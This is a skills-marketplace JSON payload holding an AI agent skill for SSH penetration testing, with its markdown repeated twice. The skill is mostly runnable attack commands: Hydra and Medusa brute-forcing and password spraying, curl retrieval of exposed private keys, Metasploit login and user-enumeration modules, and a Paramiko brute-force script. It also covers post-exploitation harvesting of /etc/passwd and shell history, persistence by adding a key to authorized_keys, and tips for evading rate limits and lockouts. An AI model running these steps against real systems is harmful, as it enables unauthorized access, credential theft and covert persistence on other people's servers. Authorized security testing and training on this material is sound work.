[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6CCCA1R41P9MFCGWS156PDA":3,"skill-same:01M6CCCA1R41P9MFCGWS156PDA":66},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":36,"linkOnly":37,"markdownContent":38,"markdownBody":39,"frontMatter":40,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":14,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":49,"ownerDescription":50,"updatedAt":51,"install":52,"resources":65},"01M6CCCA1R41P9MFCGWS156PDA","SSH Penetration Testing",null,"This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques.","Gabriellmaia01\u002Fneuro-dose-assist","Gabriellmaia01","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F135177180?v=4","01M6CBRZEZC8G5C400AG3SPFNH","Gabriel","01M6CBRZK8MB7DWW0B4C82TV2G",0,"MIT","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fssh-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,5,27,28,29,30,31,32,33,34,35],"testing","penetration testing","ssh","security","vulnerabilities","audit","services","tunneling","credentials","user","exploit","pentest","2026-11-10 10:12:30",false,"---\nname: SSH Penetration Testing\ndescription: This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# SSH Penetration Testing\n\n## Purpose\n\nConduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.\n\n## Prerequisites\n\n### Required Tools\n- Nmap with SSH scripts\n- Hydra or Medusa for brute-forcing\n- ssh-audit for configuration analysis\n- Metasploit Framework\n- Python with Paramiko library\n\n### Required Knowledge\n- SSH protocol fundamentals\n- Public\u002Fprivate key authentication\n- Port forwarding concepts\n- Linux command-line proficiency\n\n## Outputs and Deliverables\n\n1. **SSH Enumeration Report** - Versions, algorithms, configurations\n2. **Credential Assessment** - Weak passwords, default credentials\n3. **Vulnerability Assessment** - Known CVEs, misconfigurations\n4. **Tunnel Documentation** - Port forwarding configurations\n\n## Core Workflow\n\n### Phase 1: SSH Service Discovery\n\nIdentify SSH services on target networks:\n\n```bash\n# Quick SSH port scan\nnmap -p 22 192.168.1.0\u002F24 --open\n\n# Common alternate SSH ports\nnmap -p 22,2222,22222,2200 192.168.1.100\n\n# Full port scan for SSH\nnmap -p- --open 192.168.1.100 | grep -i ssh\n\n# Service version detection\nnmap -sV -p 22 192.168.1.100\n```\n\n### Phase 2: SSH Enumeration\n\nGather detailed information about SSH services:\n\n```bash\n# Banner grabbing\nnc 192.168.1.100 22\n# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5\n\n# Telnet banner grab\ntelnet 192.168.1.100 22\n\n# Nmap version detection with scripts\nnmap -sV -p 22 --script ssh-hostkey 192.168.1.100\n\n# Enumerate supported algorithms\nnmap -p 22 --script ssh2-enum-algos 192.168.1.100\n\n# Get host keys\nnmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100\n\n# Check authentication methods\nnmap -p 22 --script ssh-auth-methods --script-args=\"ssh.user=root\" 192.168.1.100\n```\n\n### Phase 3: SSH Configuration Auditing\n\nIdentify weak configurations:\n\n```bash\n# ssh-audit - comprehensive SSH audit\nssh-audit 192.168.1.100\n\n# ssh-audit with specific port\nssh-audit -p 2222 192.168.1.100\n\n# Output includes:\n# - Algorithm recommendations\n# - Security vulnerabilities\n# - Hardening suggestions\n```\n\nKey configuration weaknesses to identify:\n- Weak key exchange algorithms (diffie-hellman-group1-sha1)\n- Weak ciphers (arcfour, 3des-cbc)\n- Weak MACs (hmac-md5, hmac-sha1-96)\n- Deprecated protocol versions\n\n### Phase 4: Credential Attacks\n\n#### Brute-Force with Hydra\n\n```bash\n# Single username, password list\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.100\n\n# Username list, single password\nhydra -L users.txt -p Password123 ssh:\u002F\u002F192.168.1.100\n\n# Username and password lists\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.100\n\n# With specific port\nhydra -l admin -P passwords.txt -s 2222 ssh:\u002F\u002F192.168.1.100\n\n# Rate limiting evasion (slow)\nhydra -l admin -P passwords.txt -t 1 -w 5 ssh:\u002F\u002F192.168.1.100\n\n# Verbose output\nhydra -l admin -P passwords.txt -vV ssh:\u002F\u002F192.168.1.100\n\n# Exit on first success\nhydra -l admin -P passwords.txt -f ssh:\u002F\u002F192.168.1.100\n```\n\n#### Brute-Force with Medusa\n\n```bash\n# Basic brute-force\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh\n\n# Multiple targets\nmedusa -H targets.txt -u admin -P passwords.txt -M ssh\n\n# With username list\nmedusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh\n\n# Specific port\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222\n```\n\n#### Password Spraying\n\n```bash\n# Test common password across users\nhydra -L users.txt -p Summer2024! ssh:\u002F\u002F192.168.1.100\n\n# Multiple common passwords\nfor pass in \"Password123\" \"Welcome1\" \"Summer2024!\"; do\n    hydra -L users.txt -p \"$pass\" ssh:\u002F\u002F192.168.1.100\ndone\n```\n\n### Phase 5: Key-Based Authentication Testing\n\nTest for weak or exposed keys:\n\n```bash\n# Attempt login with found private key\nssh -i id_rsa user@192.168.1.100\n\n# Specify key explicitly (bypass agent)\nssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100\n\n# Force password authentication\nssh -o PreferredAuthentications=password user@192.168.1.100\n\n# Try common key names\nfor key in id_rsa id_dsa id_ecdsa id_ed25519; do\n    ssh -i \"$key\" user@192.168.1.100\ndone\n```\n\nCheck for exposed keys:\n\n```bash\n# Common locations for private keys\n~\u002F.ssh\u002Fid_rsa\n~\u002F.ssh\u002Fid_dsa\n~\u002F.ssh\u002Fid_ecdsa\n~\u002F.ssh\u002Fid_ed25519\n\u002Fetc\u002Fssh\u002Fssh_host_*_key\n\u002Froot\u002F.ssh\u002F\n\u002Fhome\u002F*\u002F.ssh\u002F\n\n# Web-accessible keys (check with curl\u002Fwget)\ncurl -s http:\u002F\u002Ftarget.com\u002F.ssh\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fbackup\u002Fssh_keys.tar.gz\n```\n\n### Phase 6: Vulnerability Exploitation\n\nSearch for known vulnerabilities:\n\n```bash\n# Search for exploits\nsearchsploit openssh\nsearchsploit openssh 7.2\n\n# Common SSH vulnerabilities\n# CVE-2018-15473 - Username enumeration\n# CVE-2016-0777 - Roaming vulnerability\n# CVE-2016-0778 - Buffer overflow\n\n# Metasploit enumeration\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.100\nrun\n\n# Username enumeration (CVE-2018-15473)\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nrun\n```\n\n### Phase 7: SSH Tunneling and Port Forwarding\n\n#### Local Port Forwarding\n\nForward local port to remote service:\n\n```bash\n# Syntax: ssh -L \u003Clocal_port>:\u003Cremote_host>:\u003Cremote_port> user@ssh_server\n\n# Access internal web server through SSH\nssh -L 8080:192.168.1.50:80 user@192.168.1.100\n# Now access http:\u002F\u002Flocalhost:8080\n\n# Access internal database\nssh -L 3306:192.168.1.50:3306 user@192.168.1.100\n\n# Multiple forwards\nssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100\n```\n\n#### Remote Port Forwarding\n\nExpose local service to remote network:\n\n```bash\n# Syntax: ssh -R \u003Cremote_port>:\u003Clocal_host>:\u003Clocal_port> user@ssh_server\n\n# Expose local web server to remote\nssh -R 8080:localhost:80 user@192.168.1.100\n# Remote can access via localhost:8080\n\n# Reverse shell callback\nssh -R 4444:localhost:4444 user@192.168.1.100\n```\n\n#### Dynamic Port Forwarding (SOCKS Proxy)\n\nCreate SOCKS proxy for network pivoting:\n\n```bash\n# Create SOCKS proxy on local port 1080\nssh -D 1080 user@192.168.1.100\n\n# Use with proxychains\necho \"socks5 127.0.0.1 1080\" >> \u002Fetc\u002Fproxychains.conf\nproxychains nmap -sT -Pn 192.168.1.0\u002F24\n\n# Browser configuration\n# Set SOCKS proxy to localhost:1080\n```\n\n#### ProxyJump (Jump Hosts)\n\nChain through multiple SSH servers:\n\n```bash\n# Jump through intermediate host\nssh -J user1@jump_host user2@target_host\n\n# Multiple jumps\nssh -J user1@jump1,user2@jump2 user3@target\n\n# With SSH config\n# ~\u002F.ssh\u002Fconfig\nHost target\n    HostName 192.168.2.50\n    User admin\n    ProxyJump user@192.168.1.100\n```\n\n### Phase 8: Post-Exploitation\n\nActivities after gaining SSH access:\n\n```bash\n# Check sudo privileges\nsudo -l\n\n# Find SSH keys\nfind \u002F -name \"id_rsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"id_dsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"authorized_keys\" 2>\u002Fdev\u002Fnull\n\n# Check SSH directory\nls -la ~\u002F.ssh\u002F\ncat ~\u002F.ssh\u002Fknown_hosts\ncat ~\u002F.ssh\u002Fauthorized_keys\n\n# Add persistence (add your key)\necho \"ssh-rsa AAAAB3...\" >> ~\u002F.ssh\u002Fauthorized_keys\n\n# Extract SSH configuration\ncat \u002Fetc\u002Fssh\u002Fsshd_config\n\n# Find other users\ncat \u002Fetc\u002Fpasswd | grep -v nologin\nls \u002Fhome\u002F\n\n# History for credentials\ncat ~\u002F.bash_history | grep -i ssh\ncat ~\u002F.bash_history | grep -i pass\n```\n\n### Phase 9: Custom SSH Scripts with Paramiko\n\nPython-based SSH automation:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport paramiko\nimport sys\n\ndef ssh_connect(host, username, password):\n    \"\"\"Attempt SSH connection with credentials\"\"\"\n    client = paramiko.SSHClient()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n    \n    try:\n        client.connect(host, username=username, password=password, timeout=5)\n        print(f\"[+] Success: {username}:{password}\")\n        return client\n    except paramiko.AuthenticationException:\n        print(f\"[-] Failed: {username}:{password}\")\n        return None\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        return None\n\ndef execute_command(client, command):\n    \"\"\"Execute command via SSH\"\"\"\n    stdin, stdout, stderr = client.exec_command(command)\n    output = stdout.read().decode()\n    errors = stderr.read().decode()\n    return output, errors\n\ndef ssh_brute_force(host, username, wordlist):\n    \"\"\"Brute-force SSH with wordlist\"\"\"\n    with open(wordlist, 'r') as f:\n        passwords = f.read().splitlines()\n    \n    for password in passwords:\n        client = ssh_connect(host, username, password.strip())\n        if client:\n            # Run post-exploitation commands\n            output, _ = execute_command(client, 'id; uname -a')\n            print(output)\n            client.close()\n            return True\n    return False\n\n# Usage\nif __name__ == \"__main__\":\n    target = \"192.168.1.100\"\n    user = \"admin\"\n    \n    # Single credential test\n    client = ssh_connect(target, user, \"password123\")\n    if client:\n        output, _ = execute_command(client, \"ls -la\")\n        print(output)\n        client.close()\n```\n\n### Phase 10: Metasploit SSH Modules\n\nUse Metasploit for comprehensive SSH testing:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# SSH Version Scanner\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.0\u002F24\nrun\n\n# SSH Login Brute-Force\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nset VERBOSE true\nrun\n\n# SSH Key Login\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login_pubkey\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset KEY_FILE \u002Fpath\u002Fto\u002Fid_rsa\nrun\n\n# Username Enumeration\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE users.txt\nrun\n\n# Post-exploitation with SSH session\nsessions -i 1\n```\n\n## Quick Reference\n\n### SSH Enumeration Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nc \u003Chost> 22` | Banner grabbing |\n| `ssh-audit \u003Chost>` | Configuration audit |\n| `nmap --script ssh*` | SSH NSE scripts |\n| `searchsploit openssh` | Find exploits |\n\n### Brute-Force Options\n\n| Tool | Command |\n|------|---------|\n| Hydra | `hydra -l user -P pass.txt ssh:\u002F\u002Fhost` |\n| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |\n| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login` |\n\n### Port Forwarding Types\n\n| Type | Command | Use Case |\n|------|---------|----------|\n| Local | `-L 8080:target:80` | Access remote services locally |\n| Remote | `-R 8080:localhost:80` | Expose local services remotely |\n| Dynamic | `-D 1080` | SOCKS proxy for pivoting |\n\n### Common SSH Ports\n\n| Port | Description |\n|------|-------------|\n| 22 | Default SSH |\n| 2222 | Common alternate |\n| 22222 | Another alternate |\n| 830 | NETCONF over SSH |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Always obtain written authorization\n- Brute-forcing may violate ToS\n- Document all testing activities\n\n### Technical Limitations\n- Rate limiting may block attacks\n- Fail2ban or similar may ban IPs\n- Key-based auth prevents password attacks\n- Two-factor authentication adds complexity\n\n### Evasion Techniques\n- Use slow brute-force: `-t 1 -w 5`\n- Distribute attacks across IPs\n- Use timing-based enumeration carefully\n- Respect lockout thresholds\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |\n| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |\n| Tunnel Not Working | Check GatewayPorts\u002FAllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |\n","# SSH Penetration Testing\n\n## Purpose\n\nConduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.\n\n## Prerequisites\n\n### Required Tools\n- Nmap with SSH scripts\n- Hydra or Medusa for brute-forcing\n- ssh-audit for configuration analysis\n- Metasploit Framework\n- Python with Paramiko library\n\n### Required Knowledge\n- SSH protocol fundamentals\n- Public\u002Fprivate key authentication\n- Port forwarding concepts\n- Linux command-line proficiency\n\n## Outputs and Deliverables\n\n1. **SSH Enumeration Report** - Versions, algorithms, configurations\n2. **Credential Assessment** - Weak passwords, default credentials\n3. **Vulnerability Assessment** - Known CVEs, misconfigurations\n4. **Tunnel Documentation** - Port forwarding configurations\n\n## Core Workflow\n\n### Phase 1: SSH Service Discovery\n\nIdentify SSH services on target networks:\n\n```bash\n# Quick SSH port scan\nnmap -p 22 192.168.1.0\u002F24 --open\n\n# Common alternate SSH ports\nnmap -p 22,2222,22222,2200 192.168.1.100\n\n# Full port scan for SSH\nnmap -p- --open 192.168.1.100 | grep -i ssh\n\n# Service version detection\nnmap -sV -p 22 192.168.1.100\n```\n\n### Phase 2: SSH Enumeration\n\nGather detailed information about SSH services:\n\n```bash\n# Banner grabbing\nnc 192.168.1.100 22\n# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5\n\n# Telnet banner grab\ntelnet 192.168.1.100 22\n\n# Nmap version detection with scripts\nnmap -sV -p 22 --script ssh-hostkey 192.168.1.100\n\n# Enumerate supported algorithms\nnmap -p 22 --script ssh2-enum-algos 192.168.1.100\n\n# Get host keys\nnmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100\n\n# Check authentication methods\nnmap -p 22 --script ssh-auth-methods --script-args=\"ssh.user=root\" 192.168.1.100\n```\n\n### Phase 3: SSH Configuration Auditing\n\nIdentify weak configurations:\n\n```bash\n# ssh-audit - comprehensive SSH audit\nssh-audit 192.168.1.100\n\n# ssh-audit with specific port\nssh-audit -p 2222 192.168.1.100\n\n# Output includes:\n# - Algorithm recommendations\n# - Security vulnerabilities\n# - Hardening suggestions\n```\n\nKey configuration weaknesses to identify:\n- Weak key exchange algorithms (diffie-hellman-group1-sha1)\n- Weak ciphers (arcfour, 3des-cbc)\n- Weak MACs (hmac-md5, hmac-sha1-96)\n- Deprecated protocol versions\n\n### Phase 4: Credential Attacks\n\n#### Brute-Force with Hydra\n\n```bash\n# Single username, password list\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.100\n\n# Username list, single password\nhydra -L users.txt -p Password123 ssh:\u002F\u002F192.168.1.100\n\n# Username and password lists\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.100\n\n# With specific port\nhydra -l admin -P passwords.txt -s 2222 ssh:\u002F\u002F192.168.1.100\n\n# Rate limiting evasion (slow)\nhydra -l admin -P passwords.txt -t 1 -w 5 ssh:\u002F\u002F192.168.1.100\n\n# Verbose output\nhydra -l admin -P passwords.txt -vV ssh:\u002F\u002F192.168.1.100\n\n# Exit on first success\nhydra -l admin -P passwords.txt -f ssh:\u002F\u002F192.168.1.100\n```\n\n#### Brute-Force with Medusa\n\n```bash\n# Basic brute-force\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh\n\n# Multiple targets\nmedusa -H targets.txt -u admin -P passwords.txt -M ssh\n\n# With username list\nmedusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh\n\n# Specific port\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222\n```\n\n#### Password Spraying\n\n```bash\n# Test common password across users\nhydra -L users.txt -p Summer2024! ssh:\u002F\u002F192.168.1.100\n\n# Multiple common passwords\nfor pass in \"Password123\" \"Welcome1\" \"Summer2024!\"; do\n    hydra -L users.txt -p \"$pass\" ssh:\u002F\u002F192.168.1.100\ndone\n```\n\n### Phase 5: Key-Based Authentication Testing\n\nTest for weak or exposed keys:\n\n```bash\n# Attempt login with found private key\nssh -i id_rsa user@192.168.1.100\n\n# Specify key explicitly (bypass agent)\nssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100\n\n# Force password authentication\nssh -o PreferredAuthentications=password user@192.168.1.100\n\n# Try common key names\nfor key in id_rsa id_dsa id_ecdsa id_ed25519; do\n    ssh -i \"$key\" user@192.168.1.100\ndone\n```\n\nCheck for exposed keys:\n\n```bash\n# Common locations for private keys\n~\u002F.ssh\u002Fid_rsa\n~\u002F.ssh\u002Fid_dsa\n~\u002F.ssh\u002Fid_ecdsa\n~\u002F.ssh\u002Fid_ed25519\n\u002Fetc\u002Fssh\u002Fssh_host_*_key\n\u002Froot\u002F.ssh\u002F\n\u002Fhome\u002F*\u002F.ssh\u002F\n\n# Web-accessible keys (check with curl\u002Fwget)\ncurl -s http:\u002F\u002Ftarget.com\u002F.ssh\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fbackup\u002Fssh_keys.tar.gz\n```\n\n### Phase 6: Vulnerability Exploitation\n\nSearch for known vulnerabilities:\n\n```bash\n# Search for exploits\nsearchsploit openssh\nsearchsploit openssh 7.2\n\n# Common SSH vulnerabilities\n# CVE-2018-15473 - Username enumeration\n# CVE-2016-0777 - Roaming vulnerability\n# CVE-2016-0778 - Buffer overflow\n\n# Metasploit enumeration\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.100\nrun\n\n# Username enumeration (CVE-2018-15473)\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nrun\n```\n\n### Phase 7: SSH Tunneling and Port Forwarding\n\n#### Local Port Forwarding\n\nForward local port to remote service:\n\n```bash\n# Syntax: ssh -L \u003Clocal_port>:\u003Cremote_host>:\u003Cremote_port> user@ssh_server\n\n# Access internal web server through SSH\nssh -L 8080:192.168.1.50:80 user@192.168.1.100\n# Now access http:\u002F\u002Flocalhost:8080\n\n# Access internal database\nssh -L 3306:192.168.1.50:3306 user@192.168.1.100\n\n# Multiple forwards\nssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100\n```\n\n#### Remote Port Forwarding\n\nExpose local service to remote network:\n\n```bash\n# Syntax: ssh -R \u003Cremote_port>:\u003Clocal_host>:\u003Clocal_port> user@ssh_server\n\n# Expose local web server to remote\nssh -R 8080:localhost:80 user@192.168.1.100\n# Remote can access via localhost:8080\n\n# Reverse shell callback\nssh -R 4444:localhost:4444 user@192.168.1.100\n```\n\n#### Dynamic Port Forwarding (SOCKS Proxy)\n\nCreate SOCKS proxy for network pivoting:\n\n```bash\n# Create SOCKS proxy on local port 1080\nssh -D 1080 user@192.168.1.100\n\n# Use with proxychains\necho \"socks5 127.0.0.1 1080\" >> \u002Fetc\u002Fproxychains.conf\nproxychains nmap -sT -Pn 192.168.1.0\u002F24\n\n# Browser configuration\n# Set SOCKS proxy to localhost:1080\n```\n\n#### ProxyJump (Jump Hosts)\n\nChain through multiple SSH servers:\n\n```bash\n# Jump through intermediate host\nssh -J user1@jump_host user2@target_host\n\n# Multiple jumps\nssh -J user1@jump1,user2@jump2 user3@target\n\n# With SSH config\n# ~\u002F.ssh\u002Fconfig\nHost target\n    HostName 192.168.2.50\n    User admin\n    ProxyJump user@192.168.1.100\n```\n\n### Phase 8: Post-Exploitation\n\nActivities after gaining SSH access:\n\n```bash\n# Check sudo privileges\nsudo -l\n\n# Find SSH keys\nfind \u002F -name \"id_rsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"id_dsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"authorized_keys\" 2>\u002Fdev\u002Fnull\n\n# Check SSH directory\nls -la ~\u002F.ssh\u002F\ncat ~\u002F.ssh\u002Fknown_hosts\ncat ~\u002F.ssh\u002Fauthorized_keys\n\n# Add persistence (add your key)\necho \"ssh-rsa AAAAB3...\" >> ~\u002F.ssh\u002Fauthorized_keys\n\n# Extract SSH configuration\ncat \u002Fetc\u002Fssh\u002Fsshd_config\n\n# Find other users\ncat \u002Fetc\u002Fpasswd | grep -v nologin\nls \u002Fhome\u002F\n\n# History for credentials\ncat ~\u002F.bash_history | grep -i ssh\ncat ~\u002F.bash_history | grep -i pass\n```\n\n### Phase 9: Custom SSH Scripts with Paramiko\n\nPython-based SSH automation:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport paramiko\nimport sys\n\ndef ssh_connect(host, username, password):\n    \"\"\"Attempt SSH connection with credentials\"\"\"\n    client = paramiko.SSHClient()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n    \n    try:\n        client.connect(host, username=username, password=password, timeout=5)\n        print(f\"[+] Success: {username}:{password}\")\n        return client\n    except paramiko.AuthenticationException:\n        print(f\"[-] Failed: {username}:{password}\")\n        return None\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        return None\n\ndef execute_command(client, command):\n    \"\"\"Execute command via SSH\"\"\"\n    stdin, stdout, stderr = client.exec_command(command)\n    output = stdout.read().decode()\n    errors = stderr.read().decode()\n    return output, errors\n\ndef ssh_brute_force(host, username, wordlist):\n    \"\"\"Brute-force SSH with wordlist\"\"\"\n    with open(wordlist, 'r') as f:\n        passwords = f.read().splitlines()\n    \n    for password in passwords:\n        client = ssh_connect(host, username, password.strip())\n        if client:\n            # Run post-exploitation commands\n            output, _ = execute_command(client, 'id; uname -a')\n            print(output)\n            client.close()\n            return True\n    return False\n\n# Usage\nif __name__ == \"__main__\":\n    target = \"192.168.1.100\"\n    user = \"admin\"\n    \n    # Single credential test\n    client = ssh_connect(target, user, \"password123\")\n    if client:\n        output, _ = execute_command(client, \"ls -la\")\n        print(output)\n        client.close()\n```\n\n### Phase 10: Metasploit SSH Modules\n\nUse Metasploit for comprehensive SSH testing:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# SSH Version Scanner\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.0\u002F24\nrun\n\n# SSH Login Brute-Force\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nset VERBOSE true\nrun\n\n# SSH Key Login\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login_pubkey\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset KEY_FILE \u002Fpath\u002Fto\u002Fid_rsa\nrun\n\n# Username Enumeration\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE users.txt\nrun\n\n# Post-exploitation with SSH session\nsessions -i 1\n```\n\n## Quick Reference\n\n### SSH Enumeration Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nc \u003Chost> 22` | Banner grabbing |\n| `ssh-audit \u003Chost>` | Configuration audit |\n| `nmap --script ssh*` | SSH NSE scripts |\n| `searchsploit openssh` | Find exploits |\n\n### Brute-Force Options\n\n| Tool | Command |\n|------|---------|\n| Hydra | `hydra -l user -P pass.txt ssh:\u002F\u002Fhost` |\n| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |\n| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login` |\n\n### Port Forwarding Types\n\n| Type | Command | Use Case |\n|------|---------|----------|\n| Local | `-L 8080:target:80` | Access remote services locally |\n| Remote | `-R 8080:localhost:80` | Expose local services remotely |\n| Dynamic | `-D 1080` | SOCKS proxy for pivoting |\n\n### Common SSH Ports\n\n| Port | Description |\n|------|-------------|\n| 22 | Default SSH |\n| 2222 | Common alternate |\n| 22222 | Another alternate |\n| 830 | NETCONF over SSH |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Always obtain written authorization\n- Brute-forcing may violate ToS\n- Document all testing activities\n\n### Technical Limitations\n- Rate limiting may block attacks\n- Fail2ban or similar may ban IPs\n- Key-based auth prevents password attacks\n- Two-factor authentication adds complexity\n\n### Evasion Techniques\n- Use slow brute-force: `-t 1 -w 5`\n- Distribute attacks across IPs\n- Use timing-based enumeration carefully\n- Respect lockout thresholds\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |\n| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |\n| Tunnel Not Working | Check GatewayPorts\u002FAllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |\n",{"name":5,"metadata":41,"description":7},{"author":42,"version":43},"zebbern","1.1","main","eac60cc6e0b6baa2a05a765a851fb10638f4e733",".agent\u002Fskills\u002Fskills\u002Fssh-penetration-testing","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist","https:\u002F\u002Fgithub.com\u002FGabriellmaia01","https:\u002F\u002Fportfolio-bice-theta-81.vercel.app\u002F","💻 Desenvolvimento De Software_\r\n\r\n⚙️ Engenharia De Software\r\n","2026-11-10 08:31:19",{"source":8,"skillName":5,"commands":53,"prompt":63,"zipAvailable":64},[54,57,60],{"tool":55,"command":56},"npx","npx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SSH Penetration Testing\"",{"tool":58,"command":59},"bunx","bunx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SSH Penetration Testing\"",{"tool":61,"command":62},"pnpm","pnpm dlx skills add Gabriellmaia01\u002Fneuro-dose-assist --skill \"SSH Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fssh-penetration-testing\u002FSKILL.md",true,[],[67,91,114,134,145,166],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":76,"publishedAt":36},"01M6CCFWA9JJ23708FSKK1QNBW","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to 